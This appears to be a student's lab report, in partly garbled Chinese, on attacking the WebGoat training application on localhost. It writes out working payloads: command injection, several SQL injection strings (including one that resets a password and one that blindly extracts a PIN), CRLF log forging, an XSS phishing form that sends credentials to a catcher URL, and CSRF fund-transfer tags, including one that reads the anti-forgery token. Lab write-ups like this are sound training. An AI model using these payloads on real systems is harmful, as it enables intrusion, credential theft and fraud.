目录javascript
理解经常使用网络攻击技术的基本原理。html
拷贝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]
则开启成功,能够看到占用8080端口,实验过程当中不能关闭终端
java
127.0.0.1:8080/WebGoat
,使用默认名和密码登陆每完成一项课程就会有一个小对勾linux
打开webgoat时左侧未出现课程
git
解决方法:从新下载javaversion,具体参考这个连接
github
选择Injection Flaws
开始实践web
命令注入攻击是对任何参数驱动的站点的严重威胁。sql
ps -ef
为例,获取进程信息咱们在页面的源代码中加入咱们的命令:在源代码中找到"Backdoors.help",在其后加上"& ps -ef
数据库
保存后下拉框中能够看到咱们刚刚修改的选项,点击view
,能够看到进程信息
浏览器
SELECT * FROM weather_data WHERE station = ?
,使用数字型SQL注入,能够在网页源代码中的选项后面加上or 1=1
,这样就能够得到全部地区的天气信息了。Proxy
->Options
->Add
添加一个监听端口,添加成功后运行preferences
->Advanced
->Network
->Connection
->settings
->Manual proxy configuration:
设置成刚刚绑定的端口号。Proxy
->Intercept
能够看到捕获的包右键选择send to repeater
,点击Repeater
->Params
可看到station的值为101,修改成“101 or 1=1”,点击GO
再点击Intercept is on
,这时可看到显示全部地区天气信息
zyl%0d%0aLogin Succeeded for username: admin
,%0d是空格,%0a是换行下面的表格容许用户查看他们的信用卡号码。尝试注入一个SQL字符串,致使显示全部信用卡号。尝试用户名“史密斯”。
'
构成的,咱们在last name中输入Smith' OR '1'='1
全部的用户信息被输出Smith' or 1=1 --
,攻击成功可获得全部人员列表' or 1=1 --
做为密码ViewProfile
能够查看用户信息,那么咱们要作的,就是点击这个按钮后跳转到boss的信息。101 or 1=1 order by salary desc --
,点击ViewProfile咱们能够看到插入查询语句的字符串没有通过任何处理,能够输入多条语句进行增、删、改、查
输入注入语句101; update employee set Password=5230
执行,能够看见密码框变为了设置的密码
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
显示出错,判断其是否比字 母“H”小101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
,- - 通过屡次测试和页面的返回数据,判断出第一个字符为“J”结果为Jill选择Cross-Site Scripting (XSS)
开始实践
使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要经过本课程,凭证必须发布到捕获者servlet。
根据要求,咱们编写代码,设计一个简单的登陆界面获取用户名和密码并发送到指定地方
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
点击搜索,看到下面有个登陆界面,登陆提示
<script>alert("You've been attacked!!!");</script>
发出请求时,XSS代码出如今URL中,做为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一块儿返回给浏览器,最后浏览器解析执行XSS代码
<script>alert("20165230 attack!!!");</script>
,点击purse的同时页面就给出了反馈您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具备任意数值的额外参数“transferFunds”(如5000)。您能够经过查找“屏幕”来构建连接 “和”菜单“值在右侧的参数插入。 当时经过身份认证的CSRF电子邮件的接收者将转移资金。
<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
,成功看到左边多了一个小绿√<img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
相似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您须要获取有效的请求令牌。 提供转帐资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
这是最后一个实验了,作完特别有成就感。此次实验经过使用webgoat作了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,也经过实例让咱们在平时生活中能更注意一下容易被攻击的细节,让我对咱们这些菜鸡编出来的代码极度的否认态度,没有找不出来的漏洞,因此在信息安全这条道路上好好的体会琢磨吧,道阻且艰!